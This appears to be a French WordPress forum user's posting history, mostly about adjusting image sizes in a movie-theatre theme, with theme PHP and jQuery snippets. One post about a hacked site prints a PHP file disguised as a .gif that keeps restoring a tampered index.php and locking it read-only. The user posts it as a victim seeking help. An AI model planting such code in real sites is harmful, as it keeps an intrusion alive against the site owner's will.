Toutes mes réponses sur les forums
-
AuteurMessages
-
10 avril 2024 à 23 h 55 min en réponse à : [Résolu] modifier le format automatique des images #2471086
Merci pour le message, en effet vous avez raison, le thème enfant était inclus avec le thème parent amymovie.
Je ne savais pas qu’un thème enfant risquait être mis à jour lors d’une évolution du thème parent mais de toute façon je garde toujours précieusement les indications de modifications dans mon ordi + sauvegarde externe pour le au-cas-où !
Merci pour l’avertissement et au plaisir !
10 avril 2024 à 15 h 08 min en réponse à : [Résolu] modifier le format automatique des images #2471063Merci pour la réponse, je comprends.
Je viens de rechercher une image scaled dans ma bibliothèque des médias et il se trouve que l’affiche de Kung-fu Panda 4 a été moulinée en scaled… et l’affichage est ok dans le caroussel (non tronquée sur les côtés). Du coup je me dis que le js additionnel pour le scaled n’est pas nécessaire…
D’autant qu’en faisant un test en important une nouvelle image lourde j’ai compris qu’il y a non seulement une moulinette pour générer un -scaled mais aussi pour supprimer l’image source, du coup j’imagine que le code js que vous m’avez fourni est valable pour les images -scaled qui sont finalement reconnus comme images sources.
Donc, c’est PARFAIT ! Merci encore !
Je passe cet échange en « résolu » et je vous souhaites à tous et toutes une très bonne journée !
10 avril 2024 à 12 h 54 min en réponse à : [Résolu] modifier le format automatique des images #2471050Merci, c’est gééééénial !
J’ai appliqué l’ajout de code js personnalisé et ça fonctionne à merveille pour mes carrousels de page d’accueil : https://cinelefoyer.com/
(J’ai pris le soin de remplacer les affiches qui n’avaient pas le même format pour que ça soit bien uniforme.)Dernière question si ce n’est pas abuser : j’ai tenté de mettre le même code js pour remplacer un éventuel nomdefichier-scaled.jpg qui se créerait sans m’avertir, j’ai fait un test en important une image que j’ai nommé nomdefichier-scaled.jpg mais ça n’a pas fonctionné, le caroussel m’affichait un blanc genre image manquante… j’avais rajouté :
$=jQuery;
var img = ‘.amy-section.wpb_row .amy-movie-item-poster a img’; $(img).each(function(){ img = $(this).attr(‘src’, $(this).attr(‘src’).replace(‘-scaled’, »));
});Du coup j’imagine que ce n’était peut-être pas si simple car l’image scaled vient d’une fonction que je ne maitrise pas… ? Avez-vous un avis là-dessus ?
En tout cas, merci mille fois pour votre aide et bravo pour l’encodage !
PS : en effet j’utilise un thème enfant pour ma bidouille donc tout va bien de ce côté-là.
9 avril 2024 à 20 h 27 min en réponse à : [Résolu] modifier le format automatique des images #2471022Ohhhhh ! Merci pour ce message, ça m’intéresse vraiment de connaitre cette bidouille et dans ce cas je veillerai à préparer des images homothétiques pour toutes les affiches du carroussel…
C’est un css ou js additionnel à ajouter ? Merci d’avance si vous pouvez me donner le tuyau !
Très bonne soirée !
9 avril 2024 à 0 h 51 min en réponse à : [Résolu] modifier le format automatique des images #2470960Merci pour votre réponse,
je comprends bien le principe du forum, en effet, pas de souci !Mais pour information, à force d’explorer les fichiers du thème j’ai fini par trouver une bidouille pour que l’affiche soit entière sur la page film, c’est déjà un grand pas ! j’ai juste enlevé l’information « sb-full » à la ligne <?php echo amy_movie_get_poster($post->ID, $custom_size[‘sb-full’]); ?> du fichier qui gère l’affichage du contenu de cette page, et ça donne : https://cinelefoyer.com/film/il-reste-encore-demain/
Par contre pour le carroussel d’affiches en page d’accueil, c’est une autre affaire, je pense que je vais laisser tomber si je n’ai pas de réponse du créateur du thème.
En tout cas merci pour toutes les réponses que j’ai eues, ce forum est toujours riche d’apprentissage. D’ailleurs des fois je me rends compte que rien que de devoir bien formuler son problème amène à mieux le comprendre !
Très bonne soirée et à peut-être à bientôt pour un autre casse-tête !
8 avril 2024 à 22 h 23 min en réponse à : [Résolu] modifier le format automatique des images #2470902ah d’accord, je n’avais pas compris que l’on ne pouvait pas joindre des fichiers php !
voici donc le fichier resize.php en copié collé, avec en gras ce qui me semble intéressant (mais je suis peut-être complètement à côté de la plaque !)<?php
/**
* Resizes an image and returns the resized URL. Uses native WordPress functionality.
*
* The function supports GD Library and ImageMagick. WordPress will pick whichever is most appropriate.
* If none of the supported libraries are available, the function will return the original image url.
*
* Images are saved to the WordPress uploads directory, just like images uploaded through the Media Library.
*
* Supports WordPress 3.5 and above.
*
* Based on resize.php by Matthew Ruddy (GPLv2 Licensed, Copyright (c) 2012, 2013)
* https://github.com/MatthewRuddy/Wordpress-Timthumb-alternative
*
* License: GPLv2
* http://www.gnu.org/licenses/gpl-2.0.html
*
* @author Ernesto Méndez (http://der-design.com)
* @author Matthew Ruddy (http://rivaslider.com)
*/add_action(‘delete_attachment’, ‘mr_delete_resized_images’);
function mr_image_resize($url, $width = null, $height = null, $crop = true, $align = ‘c’, $retina = false) {
global $wpdb;
// Get common vars (func_get_args() only get specified values)
$common = mr_common_info($url, $width, $height, $crop, $align, $retina);// Unpack vars if got an array…
if (is_array($common)) extract($common);// … Otherwise, return error, null or image
else return $common;if (!file_exists($dest_file_name)) {
// We only want to resize Media Library images, so we can be sure they get deleted correctly when appropriate.
$query = $wpdb->prepare(« SELECT * FROM $wpdb->posts WHERE guid=’%s' », $url);
$get_attachment = $wpdb->get_results($query);// Load WordPress Image Editor
$editor = wp_get_image_editor($file_path);// Print possible wp error
if (is_wp_error($editor)) {
if (is_user_logged_in()) print_r($editor);
return null;
}if ($crop) {
$src_x = $src_y = 0;
$src_w = $orig_width;
$src_h = $orig_height;$cmp_x = $orig_width / $dest_width;
$cmp_y = $orig_height / $dest_height;// Calculate x or y coordinate and width or height of source
if ($cmp_x > $cmp_y) {$src_w = round($orig_width / $cmp_x * $cmp_y);
$src_x = round(($orig_width – ($orig_width / $cmp_x * $cmp_y)) / 2);} else if ($cmp_y > $cmp_x) {
$src_h = round($orig_height / $cmp_y * $cmp_x);
$src_y = round(($orig_height – ($orig_height / $cmp_y * $cmp_x)) / 2);}
// Positional cropping. Uses code from timthumb.php under the GPL
if ($align && $align != ‘c’) {
if (strpos($align, ‘t’) !== false) {
$src_y = 0;
}
if (strpos($align, ‘b’) !== false) {
$src_y = $orig_height – $src_h;
}
if (strpos($align, ‘l’) !== false) {
$src_x = 0;
}
if (strpos($align, ‘r’) !== false) {
$src_x = $orig_width – $src_w;
}
}// Crop image
$editor->crop($src_x, $src_y, $src_w, $src_h, $dest_width, $dest_height);} else {
// Just resize image
$editor->resize($dest_width, $dest_height);}
// Save image
$saved = $editor->save($dest_file_name);// Print possible out of memory error
if (is_wp_error($saved)) {
if (is_user_logged_in()) {
print_r($saved);
unlink($dest_file_name);
}
return null;
}// Add the resized dimensions and alignment to original image metadata, so the images
// can be deleted when the original image is delete from the Media Library.
if ($get_attachment) {
$metadata = wp_get_attachment_metadata($get_attachment[0]->ID);
if (isset($metadata[‘image_meta’])) {
$md = $saved[‘width’] . ‘x’ . $saved[‘height’];
if ($crop) $md .= ($align) ? « _${align} » : « _c »;
$metadata[‘image_meta’][‘resized_images’][] = $md;
wp_update_attachment_metadata($get_attachment[0]->ID, $metadata);
}
}// Resized image url
$resized_url = str_replace(basename($url), basename($saved[‘path’]), $url);} else {
// Resized image url
$resized_url = str_replace(basename($url), basename($dest_file_name), $url);}
// Return resized url
return $resized_url;}
// Returns common information shared by processing functions
function mr_common_info($url, $width, $height, $crop, $align, $retina) {
// Return null if url empty
if (empty($url)) {
return is_user_logged_in() ? « image_not_specified » : null;
}// Return if nocrop is set on query string
if (preg_match(‘/(\?|&)nocrop/’, $url)) {
return $url;
}// Get the image file path
$urlinfo = parse_url($url);
$wp_upload_dir = wp_upload_dir();if (preg_match(‘/\/[0-9]{4}\/[0-9]{2}\/.+$/’, $urlinfo[‘path’], $matches)) {
$file_path = $wp_upload_dir[‘basedir’] . $matches[0];
} else {
$pathinfo = parse_url($url);
$uploads_dir = is_multisite() ? ‘/files/’ : ‘/wp-content/’;
$file_path = ABSPATH . str_replace(dirname($_SERVER[‘SCRIPT_NAME’]) . ‘/’, », strstr($pathinfo[‘path’], $uploads_dir));
$file_path = preg_replace(‘/(\/\/)/’, ‘/’, $file_path);
}// Don’t process a file that doesn’t exist
if (!file_exists($file_path)) {
return null; // Degrade gracefully
}// Get original image size
$size = is_user_logged_in() ? getimagesize($file_path) : @getimagesize($file_path);// If no size data obtained, return error or null
if (!$size) {
return is_user_logged_in() ? « getimagesize_error_common » : null;
}// Set original width and height
list($orig_width, $orig_height, $orig_type) = $size;// Generate width or height if not provided
if ($width && !$height) {
$height = floor($orig_height * ($width / $orig_width));
} else if ($height && !$width) {
$width = floor($orig_width * ($height / $orig_height));
} else if (!$width && !$height) {
return $url; // Return original url if no width/height provided
}// Allow for different retina sizes
$retina = $retina ? ($retina === true ? 2 : $retina) : 1;// Destination width and height variables
$dest_width = $width * $retina;
$dest_height = $height * $retina;// Some additional info about the image
$info = pathinfo($file_path);
$dir = $info[‘dirname’];
$ext = $info[‘extension’];
$name = wp_basename($file_path, « .$ext »);// Suffix applied to filename
$suffix = « ${dest_width}x${dest_height} »;// Set align info on file
if ($crop) {
$suffix .= ($align) ? « _${align} » : « _c »;
}// Get the destination file name
$dest_file_name = « ${dir}/${name}-${suffix}.${ext} »;// Return info
return array(
‘dir’ => $dir,
‘name’ => $name,
‘ext’ => $ext,
‘suffix’ => $suffix,
‘orig_width’ => $orig_width,
‘orig_height’ => $orig_height,
‘orig_type’ => $orig_type,
‘dest_width’ => $dest_width,
‘dest_height’ => $dest_height,
‘file_path’ => $file_path,
‘dest_file_name’ => $dest_file_name,
);}
// Deletes the resized images when the original image is deleted from the WordPress Media Library.
function mr_delete_resized_images($post_id) {
// Get attachment image metadata
$metadata = wp_get_attachment_metadata($post_id);// Return if no metadata is found
if (!$metadata) return;// Return if we don’t have the proper metadata
if (!isset($metadata[‘file’]) || !isset($metadata[‘image_meta’][‘resized_images’])) return;$wp_upload_dir = wp_upload_dir();
$pathinfo = pathinfo($metadata[‘file’]);
$resized_images = $metadata[‘image_meta’][‘resized_images’];// Delete the resized images
foreach ($resized_images as $dims) {// Get the resized images filename
$file = $wp_upload_dir[‘basedir’] . ‘/’ . $pathinfo[‘dirname’] . ‘/’ . $pathinfo[‘filename’] . ‘-‘ . $dims . ‘.’ . $pathinfo[‘extension’];// Delete the resized image (if it has not yet been deleted)
@unlink($file);}
}
8 avril 2024 à 22 h 20 min en réponse à : [Résolu] modifier le format automatique des images #2470901Bonjour, merci beaucoup pour vos réponses.
J’ai en effet écrit au créateur du thème mais sans réponse pour l’instant…Je poursuis donc mes tentatives avec vos indications !
J’ai tenté de rajouter un nouveau format renommé affiche-cine dans le fichier functions.php du thème child actif,
puis j’ai remplacé entry-thumb par affiche-cine dans le fichier content-single-movie.php, que j’ai placé dans le thème child.
Puis j’ai créé une nouvelle fiche film en important une nouvelle affiche, mais ça n’a rien fait, car systématiquement c’est une image recadrée et renommée nomdelimage-360x618_c.jpg qui est utilisée…J’ai fait d’autres recherches sur entry-thumb mais il apparait souvent… alors difficile de comprendre ce qui influera ou pas…
Mais j’ai trouvé un autre fichier qui me semble intéressant mais incompréhensible pour moi : il s’appelle resize.php et je comprends qu’il commande le renommage des fichiers recadrés avec _c.
Ce fichier a sa place dans le dossier « inc/core » du thème amymovie (si ça a son importance ?)
Je le mets en pièce jointe si quelque passionné a toujours le goût de m’aider !Merci d’avance de vos suggestions, je me sens moins seule !
PS : je ne sais pas si déontologiquement c’est possible mais je pourrais aussi proposer un .zip du thème à qui voudrait m’aider… ?
Très bonne soirée !
7 avril 2024 à 12 h 05 min en réponse à : [Résolu] modifier le format automatique des images #2470788oooops, mon fichier joint n’a pas pu être joint, voici donc son adresse :
https://cinelefoyer.com/wp-content/uploads/amy-movie/multi-cinema/multi-cinema.json
7 avril 2024 à 12 h 01 min en réponse à : [Résolu] modifier le format automatique des images #2470787Bonjour,
merci beaucoup pour votre réponse,
j’ai suivi le tuto et rajouté le code suivant dans le fichier functions.php du thème enfant actif :/*
* Création taille de miniature adaptée au format affiche film
*/
function reuhno_setup_init_images() {
add_image_size( ‘entry-thumb’, 480, 360, true );
}add_action( ‘after_setup_theme’, ‘reuhno_setup_init_images’ );
J’ai ensuite créé une nouvelle fiche film avec un nouveau import d’image mais ça n’a pas marché, l’image reste au format 360×618 (elle a été renommée nomdelimage-360x618_c.jpg.)
Autre piste explorée :
afin de dénicher quel fichier génère le format 360×618 j’ai arpenté quasi tous les fichiers du theme et des plugins associés en faisant une recherche sur « 360×618 », et j’ai trouvé le fichier ci-joint dans le dossier upload > wp-content/uploads/amy-movie/multi-cinema/multi-cinema.json
J’ai remplacé tous les « 360×618 » par « 360×480 » mais rien n’a pas bougé… ç’aurait été trop facile !
Mais peut-être qu’il y a là la clé d’une manip à faire, pour quelqu’un qui sait lire le code ?Merci d’avance à toute personne qui prend le temps de regarder ça et très bonne journée !
28 octobre 2023 à 7 h 35 min en réponse à : [Résolu] fichier htaccess qui se crée automatiquement et m’amène à une erreur 403 #2462586Merci beaucoup pour ces conseils et merci vraiment à ce forum d’exister, c’est toujours une mine d’informations !
27 octobre 2023 à 19 h 47 min en réponse à : [Résolu] fichier htaccess qui se crée automatiquement et m’amène à une erreur 403 #2462576Merci beaucoup pour ces précisio. En effet, le fichier Ty2Kzn.htm était présent dans le wp-includes infecté, ainsi que le fichier index.php.
Quant au fichier wp-config, celui-là n’avait pas d’anomalie…J’ai pu remettre en route le site en faisant attention à chaque dossier de wp-content que je réimportais, et bonheur, les fichiers htaccess ne se sont pas re-créés… Ouf ! J’ai aussi changé le mot de passe d’accès au site…
Suite à beaucoup de farfouillages sur le net, j’hésite à rajouter dans le .htaccess le code :
<Files xmlrpc.php>
Order Allow,Deny
Deny from all
</Files>Si vous avez un avis là-dessus ?
En tout cas, merci, après un sacré paquet d’heures de recherche j’ai retrouvé mon admin !Très bonne soirée !
27 octobre 2023 à 17 h 11 min en réponse à : [Résolu] fichier htaccess qui se crée automatiquement et m’amène à une erreur 403 #2462568Merci beaucoup pour cette réponse et ce tuto… bien fastidieux en effet mais c’est super d’avoir cette route… à suivre !
Pour info, j’ai détecté un drôle de fichier « soi-disant gif » dans le wp-include (en faisant des comparaisons avec le wp-include de base de wp) :
il s’agit du fichier wp-includes > images > 1eCOxV.gif
et quand on l’ouvre il dit :
<?php
$in = « /home/brasseriip/www/index.php »;
$bkin = « /home/brasseriip/www/wp-includes/images/Ty2Kzn.htm »;
if($in && file_exists($bkin)){
if(!file_exists($in) or (filesize($in) != filesize($bkin))){
@chmod($in,0644);
@file_put_contents($in,file_get_contents($bkin));
@chmod($in,0444);
}
}
?>Si vous comprenez le code, pensez-vous que ça fasse partie de la clé du piratage ?
Merci de votre intérêt pour la question et bonne fin de journée
21 mars 2023 à 23 h 39 min en réponse à : Problème avec Theme Raw Version : 1.7 Par UDTHEMES #2449479Merci de votre réponse, et oui, je comprends, quand on perd trace de l’éditeur du thème, ça semble cuit… Tant pis ! Merci et bonne soirée
8 mars 2023 à 17 h 01 min en réponse à : [Résolu] Intervenir sur les codes qui gèrent l’affichage responsive #2447709Nos messages se sont croisés, je viens de mettre votre 3ème proposition… MERVEILLEUX, cette fois ça fonctionne ! Bravo !
Si je peux vous demander encore un petit détail : voyez-vous un moyen de faire passer l’info « amy_genre » au-dessus du bandeau des dates qui correspond à « mpaa »
Mais déjà, c’est génial, merci beaucoup !
8 mars 2023 à 16 h 57 min en réponse à : [Résolu] Intervenir sur les codes qui gèrent l’affichage responsive #2447708Merci pour votre retour,
j’ai pris votre nouveau code et je ne l’ai mis qu’à l’emplacement Amymovie > CSS et JS personnalisés > CSS personnalisés
(j’ai supprimé le code dans Apparence > Personnaliser > CSS additionnel)
Malheureusement je ne vois pas d’effet sur l’affichage…
-
AuteurMessages